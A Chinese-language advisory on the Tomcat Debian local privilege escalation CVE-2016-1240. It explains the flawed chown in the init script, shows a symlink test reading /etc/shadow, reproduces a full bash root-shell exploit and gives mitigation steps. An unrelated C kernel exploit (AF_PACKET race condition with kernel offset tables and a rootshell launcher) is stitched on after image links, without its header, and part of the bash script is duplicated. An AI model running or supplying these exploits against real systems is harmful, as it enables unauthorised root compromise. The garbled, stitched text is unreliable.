10月1日,Tomcat爆出了一个本地提权漏洞。通过该漏洞,攻击者可以通过一个低权限的Tomcat用户获得系统的root权限。
CVE ID:
- CVE-2016-1240
漏洞原理:
在Debian系统的Linux上管理员通常利用apt-get进行包管理,deb包是Unixar的标准归档,讲包文件信息以及包内容,经过gzip和tar打包而成。
该问题出在Tomcat的deb包中,使 deb包安装的Tomcat程序会自动为管理员安装一个启动脚本,该脚本位于/etc/init.d/tomcat*, 跟踪代码如下:
171 # Run the catalina.sh script as a daemon set +e touch "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out chown $TOMCAT7_USER "$CATALINA_PID" "$CATALINA_BASE"/logs/catalina.out start-stop-daemon --start -b -u "$TOMCAT7_USER" -g "$TOMCAT7_GROUP" \ -c "$TOMCAT7_USER" -d "$CATALINA_TMPDIR" -p "$CATALINA_PID" \ -x /bin/bash -- -c "$AUTHBIND_COMMAND $TOMCAT_SH" status="$?" set +a -e
在174行,Tomcat服务在启动时,会将log文件catalina.out的所有者改为Tomcat用户, 而启动脚本通常由root用户调用。如果将catalina.out修改为指向任意文件的链接将会导致攻击者以高权限随意操作任意系统文件。
利用分析:
该漏洞利用难度不大且场景常见,攻击者在上传webshell后拿到Tomcat用户权限,将catalina.out修改为指向 /etc/shadow 的softlink文件,启动脚本运行后,Tomcat用户将对 /etc/shadow 有访问权限,今读取修改root用户密码,测试如下:
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil e WARNING: Problem with directory [/usr/share/tomcat6/common/classes], exists: [fa lse],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/common], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFil
e
WARNING: Problem with directory [/usr/share/tomcat6/server/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/server], exists: [false], isD
irec
tory: [false], canRead: [false]
Oct 04, 2016 3:50:42 PM org.apache.catalina.startup.ClassLoaderFactory validateFi
le
WARNING: Problem with directory [/usr/share/tomcat6/shared/classes], exists: [fal
se],
isDirectory: [false], canRead: [false]
➜ ~ su tomcat6 -c “ln -fs /etc/shadow /var/log/tomcat6/catalina.out”
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” head: cannot open ‘/var/log/tomcat6/catalina.out’ for reading: Permission denied
➜ ~ service tomcat6 start
➜ ~ su tomcat6 -c “head /var/log/tomcat6/catalina.out” root:$6$RYhPkXbD$6w2cN3u44Q 01gpHPMEjo9fgMXr7..1:16993:0:99999:7::: daemon:*:16911:0:99999:7::: bin:*:16911:0:99999:7::: sys:*:16911:0:99999:7::: sync:*:16911:0:99999:7::: games:*:16911:0:99999:7::: man:*:16911:0:99999:7::: lp:*:16911:0:99999:7::: mail:*:16911:0:99999:7::: news:*:16911:0:99999:7:::
该漏洞发现者也在报告公开 PoC, 利用也很有趣,作者不甘于单纯的文件操作,巧妙利用获得了一个root权限的shell
#!/bin/bash
BACKDOORSH="/bin/bash"
BACKDOORPATH="/tmp/tomcatrootsh"
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1 }
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
calation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
3[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit 3 fi
if [ "$2" = "-deferred" ]; then
mode="deferred"
else
mode="active"
fi
# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
ing privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
#!/bin/bash
BACKDOORSH="/bin/bash"
BACKDOORPATH=”/TMP/tomcatrootsh
PRIVESCLIB="/tmp/privesclib.so"
PRIVESCSRC="/tmp/privesclib.c"
SUIDBIN="/usr/bin/sudo"
function cleanexit {
# Cleanup
echo -e "\n[+] Cleaning up..."
rm -f $PRIVESCSRC
rm -f $PRIVESCLIB
rm -f $TOMCATLOG
touch $TOMCATLOG
if [ -f /etc/ld.so.preload ]; then
echo -n > /etc/ld.so.preload 2>/dev/null
fi
echo -e "\n[+] Job done. Exiting with code $1 \n"
exit $1 }
function ctrl_c() {
echo -e "\n[+] Active exploitation aborted. Remember you can use -deferred
switch for deferred exploitation."
cleanexit 0
}
#intro
echo -e "\033[94m \nTomcat 6/7/8 on Debian-based distros - Local Root Privilege Es
calation Exploit\nCVE-2016-1240\n"
echo -e "Discovered and coded by: \n\nDawid Golunski \nhttp://legalhackers.com \03
3[0m"
# Args
if [ $# -lt 1 ]; then
echo -e "\n[!] Exploit usage: \n\n$0 path_to_catalina.out [-deferred]\n"
exit 3 fi
if [ "$2" = "-deferred" ]; then
mode="deferred"
else
mode="active"
fi
# Priv check
echo -e "\n[+] Starting the exploit in [\033[94m$mode\033[0m] mode with the follow
ing privileges: \n`id`"
id | grep -q tomcat
if [ $? -ne 0 ]; then
echo -e "\n[!] You need to execute the exploit as tomcat user! Exiting.\n"
exit 3
fi
# Set target paths
TOMCATLOG="$1"
if [ ! -f $TOMCATLOG ]; then
echo -e "\n[!] The specified Tomcat catalina.out log ($TOMCATLOG) doesn't exis
t. Try again.\n"
exit 3 fi
echo -e "\n[+] Target Tomcat log file set to $TOMCATLOG"
# [ Deferred exploitation ]
# Symlink the log file to /etc/default/locale file which gets executed daily on de
fault
# tomcat installations on Debian/Ubuntu by the /etc/cron.daily/tomcatN logrotation
cronjob around 6:25am.
# Attackers can freely add their commands to the /etc/default/locale script after
Tomcat has been
# restarted and file owner gets changed.
if [ "$mode" = "deferred" ]; then
rm -f $TOMCATLOG && ln -s /etc/default/locale $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
echo -e "\n[+] The current owner of the file is: \n`ls -l /etc/default/locale
`"
echo -ne "\n[+] Keep an eye on the owner change on /etc/default/locale . After
the Tomcat restart / system reboot"
echo -ne "\n you'll be able to add arbitrary commands to the file which wil
l get executed with root privileges"
echo -ne "\n at ~6:25am by the /etc/cron.daily/tomcatN log rotation cron. S
ee also -active mode if you can't wait ;)\n\n"
exit 0 fi
# [ Active exploitation ]
trap ctrl_c INT
# Compile privesc preload library
echo -e "\n[+] Compiling the privesc shared library ($PRIVESCSRC)"
cat <<_solibeof_>$PRIVESCSRC
#define _GNU_SOURCE
#include <stdio.h>
#include <sys/stat.h>
#include<unistd.h>
#include <dlfcn.h>
uid_t geteuid(void) {
static uid_t (*old_geteuid)();
old_geteuid = dlsym(RTLD_NEXT, "geteuid");
if ( old_geteuid() == 0 ) {
chown("$BACKDOORPATH", 0, 0);
chmod("$BACKDOORPATH", 04777);
unlink("/etc/ld.so.preload");
}
return old_geteuid();
}
_solibeof_
gcc -Wall -fPIC -shared -o $PRIVESCLIB $PRIVESCSRC -ldl
if [ $? -ne 0 ]; then
echo -e "\n[!] Failed to compile the privesc lib $PRIVESCSRC."
cleanexit 2;
fi
# Prepare backdoor shell
cp $BACKDOORSH $BACKDOORPATH
echo -e "\n[+] Backdoor/low-priv shell installed at: \n`ls -l $BACKDOORPATH`"
# Safety check
if [ -f /etc/ld.so.preload ]; then
echo -e "\n[!] /etc/ld.so.preload already exists. Exiting for safety."
cleanexit 2
fi
# Symlink the log file to ld.so.preload
rm -f $TOMCATLOG && ln -s /etc/ld.so.preload $TOMCATLOG
if [ $? -ne 0 ]; then
echo -e "\n[!] Couldn't remove the $TOMCATLOG file or create a symlink."
cleanexit 3
fi
echo -e "\n[+] Symlink created at: \n`ls -l $TOMCATLOG`"
# Wait for Tomcat to re-open the logs
echo -ne "\n[+] Waiting for Tomcat to re-open the logs/Tomcat service restart..."
echo -e "\nYou could speed things up by executing : kill [Tomcat-pid] (as tomcat
user) if needed ;)"
while :; do
sleep 0.1
if [ -f /etc/ld.so.preload ]; then
echo $PRIVESCLIB > /etc/ld.so.preload
break; fi
done
# /etc/ld.so.preload file should be owned by tomcat user at this point
# Inject the privesc.so shared library to escalate privileges
echo $PRIVESCLIB > /etc/ld.so.preload
echo -e "\n[+] Tomcat restarted. The /etc/ld.so.preload file got created with tomc
at privileges: \n`ls -l /etc/ld.so.preload`"
echo -e "\n[+] Adding $PRIVESCLIB shared lib to /etc/ld.so.preload"
echo -e "\n[+] The /etc/ld.so.preload file now contains: \n`cat /etc/ld.so.preload
`"
# Escalating privileges via the SUID binary (e.g. /usr/bin/sudo)
echo -e "\n[+] Escalating privileges via the $SUIDBIN SUID binary to get root!"
sudo --help 2>/dev/null >/dev/null
# Check for the rootshell
ls -l $BACKDOORPATH | grep rws | grep -q root
if [ $? -eq 0 ]; then
echo -e "\n[+] Rootshell got assigned root SUID perms at: \n`ls -l $BACKDOORPA
TH`"
echo -e "\n\033[94mPlease tell me you're seeing this too ;) \033[0m"
else
echo -e "\n[!] Failed to get root"
cleanexit 2
fi
# Execute the rootshell
echo -e "\n[+] Executing the rootshell $BACKDOORPATH now! \n"
$BACKDOORPATH -p -c "rm -f /etc/ld.so.preload; rm -f $PRIVESCLIB"
$BACKDOORPATH -p
# Job done.
cleanexit 0可以看到,PoC中主要的几个流程, 首先利用Tomcat启动脚本chown的缺陷把/etc/ld_preload.so变成有权限改写,然后加入自己的ldpreload,最后在自己的ldpreload里面给backdoor加上setuid权限,这样Tomcat重启以后backdoor就是root权限带suid了。
影响范围:
deb打包的所有Tomcat6/7/8等版本均受到影响
应急修复方案:
1.临时修复建议
若担心更新有兼容问题,可更改Tomcat的启动脚本为 chown -h $TOMCAT6_USER “$CATALINA_PID” “$CATALINA_BASE”/logs/catalina.out
加入 – h参数防止其他文件所有者被更改。
2. 更新最新Tomcat包
Debian安全小组已经在第一时间修复了受影响的Tomcat上游包,直接更新发行版提供的Tomcat即可。
![screen-shot-2016-07-21-at-175148-1[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/screen-shot-2016-07-21-at-175148-11.png)
![create_function_bug[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/create_function_bug1-1024x235.png)
![eval[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/eval1-1024x297.png)
![common[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/common1.png)
![payload[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/payload1.png)
![debug[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/debug1.png)
![index[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/index1-1024x376.png)
![tools[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/tools1-1024x464.png)
![call[1]](http://7u2hr4.com1.z0.glb.clouddn.com/wp-content/uploads/2016/10/call1.png)
















































struct offset offsets[] = {
{"4.4.0-46-generic #67~14.04.1",0xffffffff810842f0,0xffffffff81e4b100,0xffffffff81274580,0xffffffff8106b880},
{"4.4.0-47-generic #68~14.04.1",0,0,0,0},
{"4.2.0-41-generic #48",0xffffffff81083470,0xffffffff81e48920,0xffffffff812775c0,0xffffffff8106c680},
{"4.8.0-22-generic #24",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b34b0,0xffffffff8106f0d0},
{"4.2.0-34-generic #39",0xffffffff81082080,0xffffffff81c487e0,0xffffffff81274490,0xffffffff8106b5d0},
{"4.2.0-30-generic #36",0xffffffff810820d0,0xffffffff81c487e0,0xffffffff812744e0,0xffffffff8106b620},
{"4.2.0-16-generic #19",0xffffffff81081ac0,0xffffffff81c48680,0xffffffff812738f0,0xffffffff8106b110},
{"4.2.0-17-generic #21",0,0,0,0},
{"4.2.0-18-generic #22",0,0,0,0},
{"4.2.0-19-generic #23~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125de30,0xffffffff81067750},
{"4.2.0-21-generic #25~14.04.1",0,0,0,0},
{"4.2.0-30-generic #36~14.04.1",0xffffffff8107da40,0xffffffff81c4a8e0,0xffffffff8125dd40,0xffffffff81067b20},
{"4.2.0-27-generic #32~14.04.1",0xffffffff8107dbe0,0xffffffff81c498c0,0xffffffff8125e420,0xffffffff81067c60},
{"4.2.0-36-generic #42",0xffffffff81083430,0xffffffff81e488e0,0xffffffff81277380,0xffffffff8106c680},
{"4.4.0-22-generic #40",0xffffffff81087d40,0xffffffff81e48f00,0xffffffff812864d0,0xffffffff8106f370},
{"4.2.0-18-generic #22~14.04.1",0xffffffff8107d620,0xffffffff81c49780,0xffffffff8125dd10,0xffffffff81067760},
{"4.4.0-34-generic #53",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286ed0,0xffffffff8106f370},
{"4.2.0-22-generic #27",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273b20,0xffffffff8106b100},
{"4.2.0-23-generic #28",0,0,0,0},
{"4.2.0-25-generic #30",0,0,0,0},
{"4.4.0-36-generic #55",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e50,0xffffffff8106f360},
{"4.2.0-42-generic #49",0xffffffff81083490,0xffffffff81e489a0,0xffffffff81277870,0xffffffff8106c680},
{"4.4.0-31-generic #50",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286e90,0xffffffff8106f370},
{"4.4.0-22-generic #40~14.04.1",0xffffffff81084250,0xffffffff81c4b080,0xffffffff81273de0,0xffffffff8106b9d0},
{"4.2.0-38-generic #45",0xffffffff810833d0,0xffffffff81e488e0,0xffffffff81277410,0xffffffff8106c680},
{"4.4.0-45-generic #66",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874c0,0xffffffff8106f320},
{"4.2.0-36-generic #42~14.04.1",0xffffffff8107ffd0,0xffffffff81c499e0,0xffffffff81261ea0,0xffffffff81069d00},
{"4.4.0-45-generic #66~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274340,0xffffffff8106b880},
{"4.2.0-22-generic #27~14.04.1",0xffffffff8107d640,0xffffffff81c497c0,0xffffffff8125deb0,0xffffffff81067750},
{"4.2.0-25-generic #30~14.04.1",0,0,0,0},
{"4.2.0-23-generic #28~14.04.1",0,0,0,0},
{"4.4.0-46-generic #67",0xffffffff81088040,0xffffffff81e48f80,0xffffffff81287800,0xffffffff8106f320},
{"4.4.0-47-generic #68",0,0,0,0},
{"4.4.0-34-generic #53~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c40,0xffffffff8106b880},
{"4.4.0-36-generic #55~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c60,0xffffffff8106b890},
{"4.4.0-31-generic #50~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273c20,0xffffffff8106b880},
{"4.2.0-38-generic #45~14.04.1",0xffffffff8107fdc0,0xffffffff81c4a9e0,0xffffffff81261540,0xffffffff81069bf0},
{"4.2.0-35-generic #40",0xffffffff81083430,0xffffffff81e48860,0xffffffff81277240,0xffffffff8106c680},
{"4.4.0-24-generic #43~14.04.1",0xffffffff81084120,0xffffffff81c4b080,0xffffffff812736f0,0xffffffff8106b880},
{"4.4.0-21-generic #37",0xffffffff81087cf0,0xffffffff81e48e80,0xffffffff81286310,0xffffffff8106f370},
{"4.2.0-34-generic #39~14.04.1",0xffffffff8107dc50,0xffffffff81c498e0,0xffffffff8125e830,0xffffffff81067c90},
{"4.4.0-24-generic #43",0xffffffff81087e60,0xffffffff81e48f00,0xffffffff812868f0,0xffffffff8106f370},
{"4.4.0-21-generic #37~14.04.1",0xffffffff81084220,0xffffffff81c4b000,0xffffffff81273a30,0xffffffff8106b9d0},
{"4.2.0-41-generic #48~14.04.1",0xffffffff8107fe20,0xffffffff81c4aa20,0xffffffff812616c0,0xffffffff81069bf0},
{"4.8.0-27-generic #29",0xffffffff8108ab70,0xffffffff81e47880,0xffffffff812b3490,0xffffffff8106f0d0},
{"4.8.0-26-generic #28",0,0,0,0},
{"4.4.0-38-generic #57",0xffffffff81087f70,0xffffffff81e48f80,0xffffffff81287470,0xffffffff8106f360},
{"4.4.0-42-generic #62~14.04.1",0xffffffff81084260,0xffffffff81e4b100,0xffffffff81274300,0xffffffff8106b880},
{"4.4.0-38-generic #57~14.04.1",0xffffffff81084210,0xffffffff81e4b100,0xffffffff812742e0,0xffffffff8106b890},
{"4.4.0-49-generic #70",0xffffffff81088090,0xffffffff81e48f80,0xffffffff81287d40,0xffffffff8106f320},
{"4.4.0-49-generic #70~14.04.1",0xffffffff81084350,0xffffffff81e4b100,0xffffffff81274b10,0xffffffff8106b880},
{"4.2.0-21-generic #25",0xffffffff81081ad0,0xffffffff81c486c0,0xffffffff81273aa0,0xffffffff8106b100},
{"4.2.0-19-generic #23",0,0,0,0},
{"4.2.0-42-generic #49~14.04.1",0xffffffff8107fe20,0xffffffff81c4aaa0,0xffffffff81261980,0xffffffff81069bf0},
{"4.4.0-43-generic #63",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874b0,0xffffffff8106f320},
{"4.4.0-28-generic #47",0xffffffff81087ea0,0xffffffff81e48f80,0xffffffff81286df0,0xffffffff8106f370},
{"4.4.0-28-generic #47~14.04.1",0xffffffff81084160,0xffffffff81c4b100,0xffffffff81273b70,0xffffffff8106b880},
{"4.9.0-1-generic #2",0xffffffff8108bbe0,0xffffffff81e4ac20,0xffffffff812b8400,0xffffffff8106f390},
{"4.8.0-28-generic #30",0xffffffff8108ae10,0xffffffff81e48b80,0xffffffff812b3690,0xffffffff8106f0e0},
{"4.2.0-35-generic #40~14.04.1",0xffffffff8107fff0,0xffffffff81c49960,0xffffffff81262320,0xffffffff81069d20},
{"4.2.0-27-generic #32",0xffffffff810820c0,0xffffffff81c487c0,0xffffffff81274150,0xffffffff8106b620},
{"4.4.0-42-generic #62",0xffffffff81087fc0,0xffffffff81e48f80,0xffffffff812874a0,0xffffffff8106f320},
{"4.4.0-51-generic #72",0xffffffff81088090,0xffffffff81e48f80,0xffffffff812879a0,0xffffffff8106f320},
//{"4.8.6-300.fc25.x86_64 #1 SMP Tue Nov 1 12:36:38 UTC 2016",0xffffffff9f0a8b30,0xffffffff9fe40940,0xffffffff9f2cfbf0,0xffffffff9f0663b0},
{NULL,0,0,0,0}
};
#define VSYSCALL 0xffffffffff600000
#define PAD 64
int pad_fds[PAD];
struct ctl_table {
const char *procname;
void *data;
int maxlen;
unsigned short mode;
struct ctl_table *child;
void *proc_handler;
void *poll;
void *extra1;
void *extra2;
};
#define CONF_RING_FRAMES 1
struct tpacket_req3 tp;
int sfd;
int mapped = 0;
struct timer_list {
void *next;
void *prev;
unsigned long expires;
void (*function)(unsigned long);
unsigned long data;
unsigned int flags;
int slack;
};
void *setsockopt_thread(void *arg)
{
while(barrier) {
}
setsockopt(sfd, SOL_PACKET, PACKET_RX_RING, (void*) &tp, sizeof(tp));
return NULL;
}
void *vers_switcher(void *arg)
{
int val,x,y;
while(barrier) {}
while(1) {
val = TPACKET_V1;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
y++;
if(x != 0) break;
val = TPACKET_V3;
x = setsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
if(x != 0) break;
y++;
}
fprintf(stderr,"version switcher stopping, x = %d (y = %d, last val = %d)\n",x,y,val);
vers_switcher_done = 1;
return NULL;
}
#define BUFSIZE 1408
char exploitbuf[BUFSIZE];
void kmalloc(void)
{
while(1)
syscall(__NR_add_key, "user","wtf",exploitbuf,BUFSIZE-24,-2);
}
void pad_kmalloc(void)
{
int x;
for(x=0; x<PAD; x++)
if(socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP)) == -1) {
fprintf(stderr,"pad_kmalloc() socket error\n");
exit(1);
}
}
int try_exploit(unsigned long func, unsigned long arg, void *verification_func)
{
pthread_t setsockopt_thread_thread,a;
int val;
socklen_t l;
struct timer_list *timer;
int fd;
struct tpacket_block_desc *pbd;
int off;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if(pthread_sigmask(SIG_BLOCK, &set, NULL) != 0) {
fprintf(stderr,"couldn't set sigmask\n");
exit(1);
}
fprintf(stderr,"new exploit attempt starting, jumping to %p, arg=%p\n",(void *)func,(void *)arg);
pad_kmalloc();
fd=socket(AF_PACKET,SOCK_DGRAM,htons(ETH_P_ARP));
if (fd==-1) {
printf("target socket error\n");
exit(1);
}
pad_kmalloc();
fprintf(stderr,"sockets allocated\n");
val = TPACKET_V3;
setsockopt(fd, SOL_PACKET, PACKET_VERSION, &val, sizeof(val));
tp.tp_block_size = CONF_RING_FRAMES * getpagesize();
tp.tp_block_nr = 1;
tp.tp_frame_size = getpagesize();
tp.tp_frame_nr = CONF_RING_FRAMES;
//try to set the timeout to 10 seconds
//the default timeout might still be used though depending on when the race was won
tp.tp_retire_blk_tov = 10000;
sfd = fd;
if(pthread_create(&setsockopt_thread_thread, NULL, setsockopt_thread, (void *)NULL)) {
fprintf(stderr, "Error creating thread\n");
return 1;
}
pthread_create(&a, NULL, vers_switcher, (void *)NULL);
usleep(200000);
fprintf(stderr,"removing barrier and spraying..\n");
memset(exploitbuf,'\x00',BUFSIZE);
timer = (struct timer_list *)(exploitbuf+(0x6c*8)+6-8);
timer->next = 0;
timer->prev = 0;
timer->expires = 4294943360;
timer->function = (void *)func;
timer->data = arg;
timer->flags = 1;
timer->slack = -1;
barrier = 0;
usleep(100000);
while(!vers_switcher_done)usleep(100000);
l = sizeof(val);
getsockopt(sfd, SOL_PACKET, PACKET_VERSION, &val, &l);
fprintf(stderr,"current packet version = %d\n",val);
pbd = mmap(0, tp.tp_block_size * tp.tp_block_nr, PROT_READ | PROT_WRITE, MAP_SHARED, sfd, 0);
if(pbd == MAP_FAILED) {
fprintf(stderr,"could not map pbd\n");
exit(1);
}
else {
off = pbd->hdr.bh1.offset_to_first_pkt;
fprintf(stderr,"pbd->hdr.bh1.offset_to_first_pkt = %d\n",off);
}
if(val == TPACKET_V1 && off != 0) {
fprintf(stderr,"*=*=*=* TPACKET_V1 && offset_to_first_pkt != 0, race won *=*=*=*\n");
}
else {
fprintf(stderr,"race not won\n");
exit(2);
}
munmap(pbd, tp.tp_block_size * tp.tp_block_nr);
pthread_create(&a, NULL, verification_func, (void *)NULL);
fprintf(stderr,"please wait up to a few minutes for timer to be executed. if you ctrl-c now the kernel will hang. so don't do that.\n");
sleep(1);
fprintf(stderr,"closing socket and verifying..");
close(sfd);
kmalloc();
fprintf(stderr,"all messages sent\n");
sleep(31337);
exit(1);
}
int verification_result = 0;
void catch_sigsegv(int sig)
{
verification_result = 0;
pthread_exit((void *)1);
}
void *modify_vsyscall(void *arg)
{
unsigned long *vsyscall = (unsigned long *)(VSYSCALL+0x850);
unsigned long x = (unsigned long)arg;
sigset_t set;
sigemptyset(&set);
sigaddset(&set, SIGSEGV);
if(pthread_sigmask(SIG_UNBLOCK, &set, NULL) != 0) {
fprintf(stderr,"couldn't set sigmask\n");
exit(1);
}
signal(SIGSEGV, catch_sigsegv);
*vsyscall = 0xdeadbeef+x;
if(*vsyscall == 0xdeadbeef+x) {
fprintf(stderr,"\nvsyscall page altered!\n");
verification_result = 1;
pthread_exit(0);
}
return NULL;
}
void verify_stage1(void)
{
int x;
pthread_t v_thread;
sleep(5);
for(x=0; x<300; x++) {
pthread_create(&v_thread, NULL, modify_vsyscall, 0);
pthread_join(v_thread, NULL);
if(verification_result == 1) {
exit(0);
}
write(2,".",1);
sleep(1);
}
printf("could not modify vsyscall\n");
exit(1);
}
void verify_stage2(void)
{
int x;
struct stat b;
sleep(5);
for(x=0; x<300; x++) {
if(stat("/proc/sys/hack",&b) == 0) {
fprintf(stderr,"\nsysctl added!\n");
exit(0);
}
write(2,".",1);
sleep(1);
}
printf("could not add sysctl\n");
exit(1);
}
void exploit(unsigned long func, unsigned long arg, void *verification_func)
{
int status;
int pid;
retry:
pid = fork();
if(pid == 0) {
try_exploit(func, arg, verification_func);
exit(1);
}
wait(&status);
printf("\n");
if(WEXITSTATUS(status) == 2) {
printf("retrying stage..\n");
kill(pid, 9);
sleep(2);
goto retry;
}
else if(WEXITSTATUS(status) != 0) {
printf("something bad happened, aborting exploit attempt\n");
exit(-1);
}
kill(pid, 9);
}
void wrapper(void)
{
struct ctl_table *c;
fprintf(stderr,"exploit starting\n");
printf("making vsyscall page writable..\n\n");
exploit(off->set_memory_rw, VSYSCALL, verify_stage1);
printf("\nstage 1 completed\n");
sleep(5);
printf("registering new sysctl..\n\n");
c = (struct ctl_table *)(VSYSCALL+0x850);
memset((char *)(VSYSCALL+0x850), '\x00', 1952);
strcpy((char *)(VSYSCALL+0xf00),"hack");
memcpy((char *)(VSYSCALL+0xe00),"\x01\x00\x00\x00",4);
c->procname = (char *)(VSYSCALL+0xf00);
c->mode = 0666;
c->proc_handler = (void *)(off->proc_dostring);
c->data = (void *)(off->modprobe_path);
c->maxlen=256;
c->extra1 = (void *)(VSYSCALL+0xe00);
c->extra2 = (void *)(VSYSCALL+0xd00);
exploit(off->register_sysctl_table, VSYSCALL+0x850, verify_stage2);
printf("stage 2 completed\n");
}
void launch_rootshell(void)
{
int fd;
char buf[256];
struct stat s;
fd = open("/proc/sys/hack",O_WRONLY);
if(fd == -1) {
fprintf(stderr,"could not open /proc/sys/hack\n");
exit(-1);
}
memset(buf,'\x00', 256);
readlink("/proc/self/exe",(char *)&buf,256);
write(fd,buf,strlen(buf)+1);
socket(AF_INET,SOCK_STREAM,132);
if(stat(buf,&s) == 0 && s.st_uid == 0) {
printf("binary executed by kernel, launching rootshell\n");
lseek(fd, 0, SEEK_SET);
write(fd,"/sbin/modprobe",15);
close(fd);
execl(buf,buf,NULL);
}
else
printf("could not create rootshell\n");
}
int main(int argc, char **argv)
{
int status, pid;
struct utsname u;
int i, crash = 0;
char buf[512], *f;
if(argc == 2 && !strcmp(argv[1],"crash")) {
crash = 1;
}
if(getuid() == 0 && geteuid() == 0 && !crash) {
chown("/proc/self/exe",0,0);
chmod("/proc/self/exe",06755);
exit(-1);
}
else if(getuid() != 0 && geteuid() == 0 && !crash) {
setresuid(0,0,0);
setresgid(0,0,0);
execl("/bin/bash","bash","-p",NULL);
exit(0);
}
fprintf(stderr,"linux AF_PACKET race condition exploit by rebel\n");
uname(&u);
if((f = strstr(u.version,"-Ubuntu")) != NULL) *f = '\0';
snprintf(buf,512,"%s %s",u.release,u.version);
printf("kernel version: %s\n",buf);
for(i=0; offsets[i].kernel_version != NULL; i++) {
if(!strcmp(offsets[i].kernel_version,buf)) {
while(offsets[i].proc_dostring == 0)
i--;
off = &offsets[i];
break;
}
}
if(crash) {
off = &offsets[0];
off->set_memory_rw = 0xffffffff41414141;
}
if(off) {
printf("proc_dostring = %p\n",(void *)off->proc_dostring);
printf("modprobe_path = %p\n",(void *)off->modprobe_path);
printf("register_sysctl_table = %p\n",(void *)off->register_sysctl_table);
printf("set_memory_rw = %p\n",(void *)off->set_memory_rw);
}
if(!off) {
fprintf(stderr,"i have no offsets for this kernel version..\n");
exit(-1);
}
pid = fork();
if(pid == 0) {
if(unshare(CLONE_NEWUSER) != 0)
fprintf(stderr, "failed to create new user namespace\n");
if(unshare(CLONE_NEWNET) != 0)
fprintf(stderr, "failed to create new network namespace\n");
wrapper();
exit(0);
}
waitpid(pid, &status, 0);
launch_rootshell();
return 0;
}
























